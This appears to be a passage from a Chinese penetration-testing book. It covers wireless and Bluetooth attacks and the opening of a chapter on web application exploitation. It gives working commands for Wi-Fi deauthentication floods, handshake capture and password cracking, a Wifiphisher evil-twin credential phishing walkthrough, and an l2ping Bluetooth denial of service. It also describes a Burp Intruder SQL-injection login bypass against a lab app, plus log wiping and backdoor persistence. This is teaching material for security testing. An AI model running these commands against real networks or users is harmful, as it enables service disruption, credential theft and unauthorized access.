我们将评估的针对无线网络的最终攻击是 DoS 攻击,其中攻击者通过使网络崩溃或剥夺合法用户对无线网络的访问来使网络无法使用。无线网络对 DoS 攻击非常敏感,而且在分布式无线网络中很难定位攻击者。DoS 攻击的示例如下:
-
向无线网络注入精心制作的网络命令(如重新配置命令)可能会导致路由器、交换机和其他网络设备发生故障。
-
一些设备和应用程序可以识别到攻击正在发生,并会自动响应,禁用网络。恶意攻击者可以发起明显的攻击,然后让目标设备自己创建 DoS!
-
用大量数据包轰炸无线网络可以使其无法使用;例如,HTTP 洪水攻击通过向 Web 服务器发出成千上万的页面请求,可以耗尽其处理能力。以同样的方式,向网络中注入身份验证和关联数据包会阻止用户连接到接入点(AP)。
-
攻击者可以构造特定的去身份验证和去关联命令,这些命令在无线网络中用于关闭授权连接并洪泛网络,从而阻止合法用户维持与无线 AP 的连接。
为了演示这一点,我们将通过用去身份验证数据包洪泛网络来创建 DoS 攻击。因为无线 802.11 协议支持在接收到定义的数据包后进行去身份验证(以便用户在不再需要时断开连接),这可能是一种具有破坏性的攻击——它符合标准,且没有办法阻止这种情况的发生。
将合法用户从网络中踢出的最简单方法是用一串去身份验证数据包攻击他们。这可以通过 aircrack-ng
工具套件来实现:
sudo airmon-ng start wlan0
sudo aireplay-ng -0 0 -a (bssid) -c (station ID) wlan0mon
此命令将攻击类型标识为 -0
,表示这是一个去身份验证攻击。第二个 0
(零)启动一个持续的去身份验证数据包流,使网络对其用户不可用。
WebSploit 框架是一个开源工具,用于扫描和分析远程系统。它包含多个工具,包括专门用于无线攻击的工具。可以通过在终端运行sudo apt install websploit
进行安装。要启动它,只需打开命令行并输入websploit
。
WebSploit 界面类似于recon-ng
和 Metasploit 框架,提供模块化界面供用户使用。
启动后,使用show modules
命令查看当前版本中存在的攻击模块。使用use wifi_deauth
命令选择Wi-Fi deauth
(一串去认证数据包)。如图 6.15所示,攻击者只需使用set
命令设置各种选项,然后运行execute
启动攻击:
图 6.15:使用 WebSploit 执行去认证攻击
攻击 WPA2 企业实现
WPA-Enterprise 是一种在企业中广泛使用的技术。它不使用单一的 WPA-PSK(大多数用户用于连接无线网络的方式)。为了保持域账户的治理和灵活性,企业使用 WPA-Enterprise。
一种典型的攻击 WPA-Enterprise 网络的方法是,首先枚举无线设备,然后攻击已连接的客户端以获取身份验证详情。这包括伪装目标网络并向客户端提供良好的信号。然后,原始有效的 AP 会导致 AP 和连接到 AP 的客户端之间的中间人攻击(MiTM)。要模拟 WPA-Enterprise 攻击,攻击者必须在目标范围内接近,才能拥有多个 AP。攻击者还可以使用 Wireshark 嗅探流量,识别无线网络流量握手。
在本节中,我们将探讨攻击者通常会利用的不同工具,以对 WPA-/WPA2-Enterprise 网络进行各种类型的攻击。
Wifite 是一个自动化无线攻击工具,预装在 Kali Linux 中,使用 Python 编写。Wifite 的最新版本是 V2.5.8,修复了之前已知的aircrack-ng
漏洞。
本工具利用以下攻击方法来提取无线 AP 的密码:
-
WPS:离线 Pixie Dust 攻击和在线暴力破解 PIN 攻击
-
WPA:WPA 握手捕获和离线破解,以及 PMKID 哈希捕获和离线破解
-
WEP:包括前述所有攻击方式,如 chop-chop、碎片化和 aireplay 注入
现在我们已经准备好启动 Wifite,以便我们可以执行 WPA 四路握手捕获,并执行自动密码破解攻击。可以通过在终端输入sudo wifite
直接启动该工具。攻击者将进入交互模式,以便选择一个接口,如图 6.16所示:
图 6.16:Wifite 中的无线适配器列表
选择接口后,它应自动启用适配器的监控模式,并开始列出所有 Wi-Fi ESSID、频道、加密方式和信号强度,无论它们是否为 WPS,以及连接到特定 ESSID 的客户端数量。一旦选择了目标 ESSID,攻击者按下键盘上的Ctrl + C,这将启动攻击。
默认情况下,会自动启动四种攻击类型。这些攻击包括 WPS Pixie Dust、WPS PIN、PMKID 和 WPA 握手。如果前三种攻击与目标无关,攻击者可以通过按Ctrl + C来忽略它们。在捕获握手时,攻击者可以看到已发现的连接到该站点的客户端。握手捕获完成后,默认情况下,握手副本会以hs/handshake_ESSID_MAC.cap
的形式存储在当前文件夹中。
一旦握手成功捕获,它将使用tshark
、cowpatty
(此工具在 Kali Linux 中未预安装,安装方法是在终端中运行sudo apt install cowpatty
),以及aircrack-ng
进行分析,验证 ESSID 和 BSSID 的握手有效性。
Wifite 被编程为自动使用字典列表与aircrack-ng
一起运行。也可以在启动 Wifite 时直接传递自定义字典列表,方法是输入wifite --wpa --dict /path/customwordlist
。成功的握手破解通常会返回无线 AP(路由器)的密码,如图 6.17所示:
图 6.17:无线适配器列表
所有密码将保存在当前文件夹中的cracked.txt
文件中,该文件是从运行 Wifite 的目录中获取的。该工具具有匿名功能,可以在攻击前将 MAC 地址更改为随机地址,攻击完成后再恢复原状。
使用 bettercap
bettercap 是攻击者可以利用的工具之一,它可以在几分钟内更好地执行 Wi-Fi 握手捕获攻击。该工具预装了许多 Wi-Fi 黑客模块,在红队演练或渗透测试中非常方便。以下是成功捕获 WPA2 握手的步骤:
-
通过运行
sudo airmon-ng start wlan0
来确保无线设备处于监控模式。 -
通过输入
sudo bettercap --iface wlan0mon
在终端中运行带有相关接口的 bettercap。 -
在 bettercap 终端中输入
wifi.recon on
,如图 6.18所示:图 6.18:bettercap 执行无线网络侦察
如果在运行
wifi.recon on
命令时,看到错误信息error while setting interface wlan0mon
,请确保安装了旧版本的 libpcap。您可以使用wget http://old.kali.org/kali/pool/main/libp/libpcap/libpcap0.8_1.9.1-4_amd64.deb
下载它,然后使用dpkg -i libpcap0.8_1.9.1-4_amd64.deb
安装。 -
要列出所有可见的 Wi-Fi 网络,请在 bettercap 终端中输入
wifi.show
。 -
通过运行
wifi.deauth <BSSID>
执行去认证攻击。 -
在去认证成功后,当设备重新连接到 Wi-Fi 网络时,必须通过 bettercap 捕获握手并存储在
/root/
文件夹中,如图 6.19所示,针对 BSSIDc2:b3:7b:17:00:b7
:图 6.19:bettercap 捕获无线网络的握手
-
最后,可以将相同的
.pcap
文件传递给aircrack-ng
或hashcat
来破解密码。
使用 Wifiphisher 进行 Evil Twin 攻击
大多数公司面临的主要问题之一是办公室范围内存在伪造 AP,它们的名称与公司的 Wi-Fi 网络相同。在这一部分,我们探讨了 Wifiphisher,一个用于进行红队行动或 Wi-Fi 渗透测试的伪造 AP 框架。通常,我们使用此工具对连接到 Wi-Fi 网络的客户端执行有效的中间人攻击(MiTM)。
该工具在 Kali 中默认没有安装,因此攻击者应该通过在终端中运行sudo apt install wifiphisher
来安装此工具。
成功执行 Evil Twin 攻击使用 Wifiphisher 的步骤如下:
-
安装 Wifiphisher 后,在终端中运行
sudo wifiphisher
启动该工具,这将显示以下带有可用无线网络列表的屏幕:图 6.20:Wifiphisher 识别无线网络列表
-
选择正确的无线目标 ESSID/BSSID 并按Enter键。这将使我们的无线适配器复制和克隆 AP。这将把我们带到一个屏幕,选择可用的钓鱼场景,如图 6.21所示:
图 6.21:Wifiphisher 的预定义钓鱼模板
-
如前面的截图所示,内置了三个场景:固件升级页面、网络管理器连接和浏览器插件更新。我们可以选择任何一个选项。在此示例中,我们选择了选项 2,以模拟网络管理器窗口,显示特定页面并请求密码。接下来的步骤是复制具有相同名称和频道的 ESSID。此外,设置了 Web 和 DHCP 服务器,所有连接的设备将通过去认证方法断开连接。在内部,使用另一个接口设置了一个 AP 来捕获受害者输入的详细信息,如图 6.22所示:
图 6.22:Wifiphisher 的虚假 AP 的活动客户端连接仪表板
-
无线终端设备将被去认证攻击断开,并且无法重新连接到 Wi-Fi 网络,因为该工具还会执行 Wi-Fi 干扰。(如果攻击者不希望干扰网络,建议使用
sudo wifiphisher –nojamming
。) -
受害者现在将能够看到 Wi-Fi 网络作为开放网络,如图 6.23所示:
图 6.23:我们目标无线网络的不安全克隆
-
一旦用户连接到免费 Wi-Fi,它会打开登录门户,要求用户输入密码,如图 6.24所示:
图 6.24:受害者设备上的假冒登录门户
-
就是这样——受害者连接到攻击者网络时输入的任何密码都会在 Wifiphisher 中被捕获,这些输入可以用来创建密码列表字典,破解前面部分捕获的握手。攻击者在关闭 Wifiphisher 工具时,应该看到以下屏幕,按下Ctrl + C:
图 6.25:通过 Wifiphisher 使用假接入点捕获的密码列表
WPA3
尽管 WPA 的第三代(WPA3)于 2018 年 1 月推出,作为 WPA2 的替代品,以弥补 WPA2 的弱点,但它的使用并不广泛。该标准采用 192 位加密强度,WPA3-Enterprise 使用 AES-256 的 GCM 模式,配合SHA-384(安全散列算法)作为基于散列的消息认证码(HMAC),并且仍强制使用CCMP-128(计数模式 密码块链接消息协议),它是AES-128(美国加密标准)在 CCM 模式下使用,并且这是 WPA3-Personal 中的最小加密算法。
与 WPA2 的预共享密钥(PSK)不同,WPA3 采用平等认证(SAE),也称为 Dragonfly。Mathy Vanhoef(papers.mathyvanhoef.com/usenix2021.pdf
)撰写了一篇非常有趣的论文,概述了与 IEEE 标准 802.11 相关的框架碎片化、聚合和伪造攻击设计缺陷。
虽然目前没有现成的漏洞可供利用,但与 WPA3-Personal 及其使用的 SAE 认证协议有关的问题仍然存在。
蓝牙攻击
曾经有一家赌场通过鱼缸温度计被黑客攻击,这显示了确保物联网(IoT)设备安全的重要性。蓝牙也不例外,蓝牙低功耗(BLE)设备被消费者和企业广泛使用,因此攻击者需要理解如何探测和攻击这些设备。
蓝牙协议层的重要部分如下:
-
逻辑链路控制和适配协议(L2CAP):它提供高层数据协议和应用程序之间的数据接口。
-
射频通信协议(RFCOMM):它模拟计算机上串行通信接口(如 EIA-RS-232)所需的功能。RFCOMM 可以通过 AT 命令访问,也可以通过无线应用协议(WAP)通过传输控制协议/互联网协议(TCP/IP)栈和对象交换(OBEX)协议访问。默认情况下,可以共享数据文件、名片和日历信息,无需厂商依赖。
蓝牙有三种安全模式:
-
安全模式 1 – 这是一个不安全模式,出现在旧型号的手机/设备中。
-
安全模式 2 – 在此模式下,强制执行服务级安全;例如,某些访问需要授权和身份验证才能连接并使用服务。
-
安全模式 3 – 在此模式下,强制执行链路级安全,而蓝牙本身使用受信任和不受信任的设备。
Kali Linux 预装了设备驱动程序(BlueZ,它是一组管理蓝牙设备的工具)以支持蓝牙设备。类似于使用iwconfig
识别无线适配器,我们在终端使用sudo hciconfig -a
来验证我们的蓝牙设备是否连接并处于活动状态。
运行此命令时,您应该看到hci0
或hci1
适配器(或两者)的配置信息,如图 6.26所示:
图 6.26:蓝牙 USB 设备列表
下一步是在终端中运行sudo hcitool scan
,对任何可用的蓝牙设备进行侦察。这将给我们带来一份设备列表,显示我们的适配器能够接触并收到响应的设备,如图 6.27所示:
图 6.27:使用 hcitool 进行蓝牙侦察
类似于 Wireshark,攻击者还可以利用 hcidump 工具进一步调试设备发送和接收的包。
现在我们已经获取了目标设备,下一步是识别设备支持的服务类型。这可以通过使用 Kali 中预装的 sdptool 来实现。以下命令提供了目标设备支持的服务列表,如图 6.28所示:
sudo sdptool browse <MAC address of the target>
图 6.28:运行 sdptool 浏览目标 MAC
一旦获得这些细节,攻击者可以执行更高级的攻击,例如蓝牙窃取(bluesnarf,利用设备访问其联系人列表、短信、电子邮件,甚至私人照片)或蓝牙劫持(bluejacking,向其他可用的蓝牙设备发送匿名消息)。由于这些攻击依赖于特定的移动设备型号,因此我们在本书中不会进一步探讨它们。攻击者可以选择使用l2ping
工具执行拒绝服务(DoS)攻击。只需在设备上运行sudo l2ping –s 100 <MAC 地址>
,一旦目标设备瘫痪,就可以使用社交工程技术伪装成 IT 人员。
总结
在本章中,我们检查了执行成功攻击任何无线网络所需的不同任务,并且了解了如何配置无线调制解调器以及使用如aircrack-ng
等工具进行 AP 的侦察。在本章中,我们还学习了蓝牙的基础知识,以及完整的aircrack-ng
工具套件,这些工具用于识别隐藏的网络、绕过 MAC 认证,并攻破 WPA、WPA2 和 WPA-Enterprise。我们还看到了如何利用自动化工具 Wifite 快速捕获握手并离线破解密码,或使用一个好的字典,并结合多个选项。接着,我们深入探讨了如何使用 Wifiphisher 设置一个假 AP,并学习了如何对无线网络和蓝牙设备进行 DoS 攻击。
在下一章中,我们将重点讨论如何使用专门针对这种类型访问的方法评估网站,从而进行必要的侦察和扫描,识别可能被利用的漏洞。我们将看到攻击者如何利用自动化工具(如漏洞利用框架和在线密码破解)来攻击这些漏洞。最后,我们将能够对 Web 应用程序执行最重要的攻击,并通过 Web shell 利用这种访问权限,完全控制 Web 服务。我们还将探讨特定服务,以及它们为何以及如何容易受到 DoS 攻击。
第七章:利用 Web 应用程序
在前几章中,我们回顾了攻击者的网络攻击链,这是一种用于破坏网络和设备、泄露数据或阻碍访问网络资源的具体方法。在第五章,高级社会工程学与物理安全中,我们研究了从物理攻击和社会工程学出发的不同攻击路线。在第六章,无线和蓝牙攻击中,我们看到无线网络是如何被破坏的。
随着技术的应用,我们可以看到市场上有多家虚拟银行。这些银行没有任何物理基础设施,它们仅由简单的 Web/移动应用程序构成。基于 Web 的服务无处不在,大多数组织允许远程访问这些服务,并且几乎始终保持可用。在本章中,我们将重点介绍通过网站、Web 应用程序和 Web 服务进行的最常见攻击路径之一。对于渗透测试人员和攻击者而言,这些 Web 应用程序暴露了网络上的后端服务、访问网站的用户的客户端活动以及用户与 Web 应用程序/服务数据之间的连接。
本章将重点从攻击者的角度来审视 Web 应用程序、Web 服务和客户端的利用。
到本章结束时,你将学习到以下内容:
-
Web 应用程序攻击方法论
-
黑客的思维导图
-
Web 应用程序/服务的漏洞扫描
-
特定应用程序的攻击
-
利用加密和 Web 服务中的漏洞
-
使用 Web 后门保持对被攻陷系统的访问
-
客户端 Web 应用程序攻击
-
跨站脚本框架和 BeEF 框架
Web 应用程序攻击方法论
系统化和目标导向的渗透测试总是从正确的方法论开始。图 7.1 显示了一个典型的 Web 应用程序攻击:
图 7.1:Web 应用程序攻击方法论
方法论分为六个阶段:设定目标、蜘蛛抓取和枚举、漏洞扫描、利用漏洞、掩盖痕迹和保持访问权限。以下是详细解释:
-
设定目标:在渗透测试中,设定正确的目标非常重要,因为攻击者将更多地关注特定的易受攻击系统,以便根据攻击链方法获得系统级的访问权限。
-
蜘蛛抓取和枚举:此时,攻击者已识别出 Web 应用程序列表,并开始深入研究特定技术版本及其相关的漏洞。使用多种方法来抓取所有网页,识别技术,并寻找一切与下一阶段相关的信息。
-
漏洞扫描:在此阶段,收集所有已知的漏洞,利用著名的漏洞数据库,其中包含公开的漏洞利用工具或已知的常见安全配置错误。
-
利用:这一阶段允许渗透测试人员利用已知和未知的漏洞,包括应用程序的业务逻辑。例如,如果某个应用程序存在管理员界面暴露的漏洞,攻击者可以尝试通过执行各种攻击(如密码猜测或暴力破解攻击)或利用特定的管理员界面漏洞(例如,Java 管理扩展(JMX)控制台攻击,直接访问管理员界面,无需登录,部署 war 文件,运行远程 Web Shell,或通过暴露的 应用程序编程接口(API)端点直接执行命令)。
-
掩盖痕迹:在这一阶段,攻击者会抹去所有黑客攻击的证据。例如,如果系统通过文件上传漏洞被攻破并执行了远程命令,攻击者会尝试清除应用服务器日志、Web 服务器日志、系统日志及其他日志。一旦掩盖痕迹,攻击者会确保没有留下任何能够揭示其利用来源的日志。
-
维持访问:攻击者可能会植入后门,并进行权限提升,或利用该系统作为僵尸计算机,进行更多针对内部的专门攻击。这可能包括在网络共享驱动器上的文件传播勒索病毒,甚至(在大规模组织中)将受害系统添加到域中,以接管企业域。
黑客的思维导图
人类思维是无可替代的。在本节中,我们将更多关注从攻击者的角度看待一个 web 应用程序的表现。图 7.2 显示了 web 应用程序黑客攻击的思维导图:
图 7.2:Web 应用程序黑客攻击思维导图
思维导图被分为两类:攻击者可以攻击服务器端漏洞或客户端漏洞。这些漏洞通常因以下原因之一而发生:
-
使用过时或未修补的技术
-
最新技术的安全配置不足
-
设计缺陷或编码时未考虑安全性
-
人为因素:缺乏技术熟练的员工
在服务器端,攻击者通常会执行以下攻击列表:
-
Web 应用防火墙规避
-
注入攻击
-
远程代码执行
-
文件包含——远程和本地
-
目录路径遍历
-
利用会话管理
-
利用系统或应用程序实现中的业务逻辑
-
Web 服务配置错误或权限过度授权
-
通过共享基础设施引诱易受攻击的服务
-
识别任何相关信息,帮助他们进行更专门的攻击
客户端攻击针对的系统通常缺乏企业系统和端点上存在的安全控制(尤其是防火墙、入侵检测系统和端点安全保护)。如果这些攻击成功并且建立了持久通信,一旦客户端设备重新连接到目标网络,就可以利用该设备发起攻击。这些攻击侧重于利用客户端而非服务器端的漏洞,可能包括浏览器、应用程序(厚客户端/薄客户端)和网络,具体如下:
-
Internet Explorer 漏洞:截至 2021 年 12 月,Internet Explorer 已知有 1,177 个漏洞(请见
www.cvedetails.com/product/9900/Microsoft-Internet-Explorer.html?vendor_id=26
)。 -
JavaScript 和 Java 漏洞。
-
DNS 绑定/重绑定漏洞:DNS 重绑定是一种针对嵌入网页代码的基于 DNS 的攻击。通常,嵌入网页代码(如 JavaScript、Java 和 Flash)发出的请求会绑定到它们来源的网站(遵循同源策略)。DNS 重绑定攻击可以提升基于 JavaScript 的恶意软件渗透私有网络并破坏浏览器同源策略的能力。
-
客户端脚本注入漏洞/跨站脚本攻击:反射型、持久型(存储型)和基于 DOM 的。
考虑到这些漏洞,攻击者配备了完整的利用工具包,并准备开始侦察。
Web 应用程序侦察
Web 应用程序及其提供的服务特别复杂。通常,服务是通过多层架构交付给最终用户,其中包含可通过互联网访问的应用服务器和 web 服务器,同时与位于内部网络中的中间件服务、后端服务器和数据库进行通信。
需要在测试过程中考虑的几个额外因素增加了复杂性,其中包括以下内容:
-
网络架构,包括安全控制(防火墙、IDS/IPS 和蜜罐)以及负载均衡器等配置
-
托管 web 服务的系统平台架构(硬件、操作系统及附加应用程序)
-
应用程序、中间件和最终层数据库,它们可能使用不同的平台(Unix 或 Windows)、厂商、编程语言,以及开源、商业和专有软件的混合。
-
身份验证和授权过程,包括维持应用程序会话状态的过程。
-
管理应用程序使用方式的底层业务逻辑
-
客户端与 web 服务之间的交互和通信
鉴于 Web 服务的复杂性,渗透测试人员必须能够适应每个站点的特定架构和服务参数。同时,测试过程必须一致地应用,以确保没有遗漏任何内容。
为了实现这些目标,已经提出了几种方法论。最广泛接受的是开放式 Web 应用安全项目(OWASP;参见 www.owasp.org)及其列出的前 10 大漏洞。
作为最低标准,OWASP 为测试人员提供了指导。然而,仅关注前 10 大漏洞是目光短浅的,并且该方法论已经展示出一些漏洞,特别是在应用程序如何支持业务实践的逻辑中发现漏洞时。
使用网络杀伤链方法,一些特定于 Web 应用程序侦察的活动应包括以下内容:
-
确定目标 web 应用程序,特别是关于它的托管位置和方式。
-
枚举目标网站的站点目录结构和文件,包括确定是否使用了内容管理系统(CMS)。这可能包括下载网站进行离线分析,包括文档元数据分析,并使用该站点创建用于密码破解的自定义词汇表(使用
crunch
等工具)。它还确保识别所有支持文件。 -
确定认证和授权机制,并确定在与该网络服务进行事务时如何保持会话状态。这通常需要分析 cookies 及其使用方式,并利用代理工具。
-
枚举所有表单。由于这些是客户端输入数据并与 Web 应用程序服务交互的主要方式,它们是多个可利用漏洞的所在,例如 SQL/XML/JSON 注入攻击和跨站脚本攻击。
-
确定接受输入的其他区域,例如允许文件上传的页面,以及任何对上传类型的限制。
-
确定错误是如何处理的,以及用户接收到的实际错误信息。错误信息通常会提供有价值的内部信息,如使用的软件版本、内部文件名和进程。
第一步是进行之前描述的被动和主动侦察(参见 第二章,开源情报与被动侦察,以及 第三章,外部和内部网络的主动侦察)。
特别是,确保识别托管站点,然后使用 DNS 映射来识别由同一服务器提供的所有托管站点。最常见且成功的攻击手段之一是攻击与目标网站托管在同一物理服务器上的非目标站点,利用服务器中的漏洞获取 root 权限,然后使用提升的权限攻击目标站点。
这种方法在共享云环境中非常有效,在这种环境中,许多应用程序都托管在同一个 软件即服务 (SaaS) 模型下。
Web 应用防火墙和负载均衡器的检测
下一步是识别网络保护设备的存在,如防火墙和 IDS/IPS,并识别任何欺骗性技术(蜜罐)。一种越来越常见的保护设备是 Web 应用防火墙 (WAF) 和 DNS 内容分发网络 (CDN)。
如果使用了 WAF,测试人员需要确保攻击,特别是依赖于精心构造输入的攻击,已经被编码,以绕过 WAF。
WAF 可以通过手动检查 cookies 来识别(一些 WAF 会标记或修改 Web 服务器和客户端之间传递的 cookies),或通过对头信息的更改来识别(当测试人员使用命令行工具如 Telnet 连接到 80
端口时,可以发现这些变化)。
WAF 检测过程可以通过 nmap
脚本 http-waf-detect.nse
自动化,如 图 7.3 所示:
图 7.3:nmap 脚本在端口 80 上检测 WAF
nmap
脚本能够识别 WAF 的存在;然而,脚本的测试表明,它并不总是准确的,返回的数据可能过于笼统,无法为绕过防火墙提供有效的策略指导。
wafw00f
脚本是一个自动化工具,用于识别和指纹识别基于 Web 的防火墙;测试结果表明,它是最准确的工具。该脚本可以从 Kali 中轻松调用,且输出结果如 图 7.4 所示:
图 7.4:wafw00f 工具识别目标网站上的 Cloudflare WAF
负载均衡检测器 (lbd) 是一个 Bash shell 脚本,用于确定给定域名是否使用 DNS 和/或 HTTP 负载均衡。从测试人员的角度来看,这是一个重要信息,因为它可以解释当测试一个服务器时出现的异常结果,然后负载均衡器将请求切换到另一个服务器。lbd
使用多种检查方法来识别负载均衡的存在。示例输出如 图 7.5 所示:
图 7.5:使用 DNS HTTP 差异进行负载均衡器检测
Web 应用和 CMS 的指纹识别
Web 应用指纹识别是渗透测试人员的第一项任务,目的是找出运行中的 Web 服务器的版本和类型,以及所实现的 Web 技术。这些信息可以帮助攻击者确定已知的漏洞及其适用的利用方式。
攻击者可以使用任何能够连接到远程主机的命令行工具。例如,我们在 图 7.6 中使用了 netcat
命令连接到受害主机的 80
端口,并发出了 HTTP HEAD
命令,以识别服务器上运行的内容:
图 7.6:通过 netcat 和 HTTP 请求头进行横幅抓取
这将返回一个 HTTP 服务器响应,其中包含应用程序运行所在的 Web 服务器类型,以及server
部分提供有关应用构建技术的详细信息——在本例中为PHP 7.1.30
。
现在,攻击者可以使用诸如 CVE Details 之类的资源来确定已知漏洞(见 www.cvedetails.com/vulnerability-list/vendor_id-74/product_id-128/PHP-PHP.html
)。
渗透测试的最终目标是获取敏感信息。应检查网站,以确定用于构建和维护该网站的CMS。例如 Drupal、Joomla 和 WordPress 等 CMS 应用程序,可能配置有脆弱的管理界面,允许访问提升的权限,或者可能包含可被利用的漏洞。
Kali 包含一个自动化扫描工具wpscan
,可以识别 WordPress CMS 的指纹,以确定版本信息,如下所示:
sudo wpscan –-url <website.com>
样本输出如图 7.7所示:
图 7.7:通过 wpscan 识别 WordPress 并进行扫描
一种特定的扫描工具——自动化网页爬虫——可用于验证已收集的信息,并确定特定网站的现有目录和文件结构。网页爬虫的典型发现包括管理门户、可能包含硬编码访问凭证和内部结构信息的配置文件(当前版本和历史版本)、网站备份副本、管理员备注、机密个人信息以及源代码。
Kali 支持多个网页爬虫,包括 Burp Suite Community Edition、DirBuster、ZAP、dirb、wfuzz 和 CutyCapt。最常用的工具是 DirBuster。
DirBuster 是一个基于 GUI 的应用程序,使用可能的目录和文件列表来对网站结构进行暴力破解分析。响应结果可以以列表或树形格式显示,后者更准确地反映了网站结构。对目标网站执行此应用程序的输出如图 7.8所示。
以下是在 GUI 中打开 DirBuster 并启动扫描的步骤:
-
通过在终端中运行
sudo dirbuster
,或从应用程序 > 03 网络应用分析 > 网页爬虫与目录暴力破解 > dirbuster来打开该应用程序。 -
在目标 URL中输入我们的网站地址。
-
通过点击浏览来选择字典文件;该字典可以自定义,也可以使用存储在
/usr/share/dirbuster/wordlists/
中的常用字典。 -
输入文件扩展名并点击开始:
图 7.8:运行 OWASP DirBuster 来枚举目标网站应用中的有效文件
从命令行镜像网站
攻击者可能需要花费大量时间识别特定页面/URL 位置的漏洞。常见策略包括克隆或下载所有可用的站点信息到本地,以缩小正确的入口点进行利用,并执行社交工程攻击以收集电子邮件地址和其他相关信息。
也可以直接将网站复制到测试人员的位置。这使得测试人员可以查看目录结构及其内容,从本地文件中提取元数据,并将站点内容作为程序(如 crunch
)的输入,从而生成个性化的密码破解字典。
一旦你绘制出网站和/或交付的网络服务的基本结构,接下来的步骤是识别可以被利用的漏洞。
在 Kali Linux 2021.4 中,工具没有预先安装;但是,可以通过在终端中运行 sudo apt install httrack
来安装,然后输入 httrack
查看渗透测试人员下载网站内容到本地系统的选项。Httrack
是一个命令行和 GUI 工具,广泛用于制作任何网站的本地副本。攻击者可以直接发出 httrack http://targetwebapp/ -O outputfolder
命令,如图 7.9所示:
图 7.9:运行网站复制工具 httrack
一旦 httrack
完成,测试人员就应该能够在本地加载应用程序并收集信息,识别 HTML 注释或备份文件中的硬编码凭据,或识别设计/实现缺陷。
客户端代理
客户端代理拦截 HTTP 和 HTTPS 流量,允许渗透测试人员检查用户与应用程序之间的通信。它允许测试人员复制数据或与发送到应用程序的请求进行交互,从而使他们能够操控或绕过客户端限制。
客户端代理最初是为调试应用程序而设计的;攻击者可以滥用相同的功能来执行中间人攻击或浏览器中间人攻击。
Kali 自带了多个客户端代理工具,包括 Burp Suite 和 ZAP。经过广泛测试,我们已依赖 Burp Proxy,并将 ZAP 作为备用工具。在本节中,我们将探讨 Burp Suite。
Burp Proxy
在本节中,我们将使用 Mutillidae,这个我们在构建虚拟实验室时安装的 Web 应用程序,安装过程见第一章,基于目标的渗透测试。Burp 主要用于拦截 HTTP(S) 流量;最新版本是 Burp Suite Community Edition 2021.9.1(Kali Linux 2021.4 默认安装的版本是 2021.8.2)。然而,它是一个包含多个附加功能的大型工具套件,功能包括以下几点:
-
一款应用感知工具(具有关于应用程序的内置信息),能够对目标网站进行深度爬取
-
一个漏洞扫描器,包括一个序列生成器,用于测试会话令牌的随机性,以及一个重复器,用于操控并重新发送客户端与网站之间的请求(漏洞扫描器不包括在 Kali 附带的 Burp Proxy 的免费版本中)
-
一个入侵者工具,可用于发起自定义攻击(Kali 附带的免费版工具有速度限制;如果购买软件的商业版,这些限制将被移除)
-
可以编辑现有插件或编写新插件,以扩展可用的攻击类型和数量
-
一个解码器,用于解码已知的密文,一个比较器,用于进行字词或字节级的比较,以及一个扩展器,用于添加任何第三方插件或自定义代码
要使用 Burp,确保你的网页浏览器配置为使用本地代理;通常,你需要调整网络设置,指定 HTTP 和 HTTPS 流量必须使用本地地址 (127.0.0.1
),端口为 8080
。
在设置好浏览器后,通过终端运行burpsuite
打开代理工具,并手动在目标选项卡中映射应用程序。这通过关闭代理拦截来完成,然后浏览整个应用程序。点击每个链接,提交表单,并尽可能多地登录到网站的各个区域。
额外的内容将通过各种响应推断出来。下一步是选择目标网站并右键点击添加到作用域,如以下图 7.10所示。
图 7.10:将特定目标 Web 应用添加到作用域
站点地图将在目标选项卡下填充区域。也可以通过导航到主菜单中的仪表板,选择新建实时任务,选择实时被动爬取,然后点击扫描配置,再点击新建…,输入配置名称为crawl
或deep crawl
,然后在要添加的项目类型中选择链接,在要添加的 URL中选择所有,如以下图 7.11所示。然而,手动技术让测试人员有机会更熟悉目标,且可能识别出需要避免的区域,如/.bak
文件或.svn
文件,这些是渗透测试人员在评估过程中常常忽略的:
图 7.11:扫描配置以爬取目标
完成此操作后,你可以使用显示过滤器隐藏站点地图中不感兴趣的项目。目标网站的站点地图显示在图 7.12中:
图 7.12:Burp Suite 中目标 Web 应用的站点地图
爬取完成后,手动检查目录和文件列表,查看是否有任何结构似乎不属于公开网站,或者似乎无意间泄露了。例如,名为admin
、backup
、documentation
或notes
的目录应当手动检查。
我们将在运行于http://yourIP/mutillidae/
的易受攻击的 Web 应用程序中对登录页面进行一些手动测试,方法是将单引号提交到用户名和密码表单中。这一输入将生成一个错误代码,暗示该页面可能受到 SQL 注入攻击的威胁;错误代码的一个示例返回如图 7.13所示:
图 7.13:Mutillidae 中的数据库错误
代理的真正强大之处在于它能够拦截并修改命令。对于这个特定的示例,我们将进行一次通过 SQL 注入绕过认证的攻击。
要发起此攻击,请确保 Burp Proxy 配置为拦截通信,方法是进入Proxy标签页并选择Intercept子标签。确保选择Intercept is on,如图 7.14所示。完成此操作后,打开浏览器窗口并访问 Mutillidae 登录页面,地址为<IP address>/mutillidae/index.php?page=login.php
。在Name和Password字段中输入变量,然后点击Login按钮。
如果返回到 Burp Proxy,你将看到用户在网页表单中输入的信息被拦截了:
图 7.14:在 Burp Proxy 中拦截发送到服务器的请求
点击Action按钮,选择Send to Intruder选项。打开主Intruder标签页,你将看到四个子标签,分别是Target、Positions、Payloads和Options,如图 7.15所示:
图 7.15:将请求加载到 Burp Intruder 模块
如果选择Positions,你将看到从拦截的信息中识别出了五个有效载荷位置。
该攻击将使用 Burp Proxy 的Sniper模式,该模式从测试人员提供的列表中获取一个输入,并将此输入一次性发送到一个有效载荷位置。测试人员需要清除所有预定义的有效载荷位置,并仅选择需要的那些位置,然后继续进行攻击。对于此示例,我们将针对username
字段进行攻击,因为根据返回的错误消息,我们怀疑该字段存在漏洞。
要定义有效载荷位置,我们选择Payloads子标签。在本例中,我们选择了一个简单的列表。这个列表可以手动输入,也可以通过从其他来源复制来填充,如图 7.16所示:
图 7.16:将有效载荷添加到入侵者模块
要发起攻击,请从顶部菜单中选择Intruder,然后选择Start Attack。代理将通过将单词列表与选定的有效载荷位置进行匹配,以合法的 HTTP 请求形式进行迭代,并返回服务器的状态码。
如图 7.17所示,大多数选项返回的状态码为200
(请求成功);然而,部分数据返回状态码为302
(请求已找到,表示请求的资源当前位于不同的 URI 下):
图 7.17:在登录表单上成功进行 SQL 注入,获取应用程序访问权限
302
状态表示攻击成功,获得的数据可以成功用于登录目标网站。
不幸的是,这对 Burp Proxy 及其功能的概述过于简短。Kali 中包含的免费版本足以应对许多测试任务;然而,严肃的测试人员(和攻击者)应考虑购买商业版本,该版本提供自动化扫描器、报告功能以及插件以自动化任务。
网络爬虫和目录暴力破解攻击
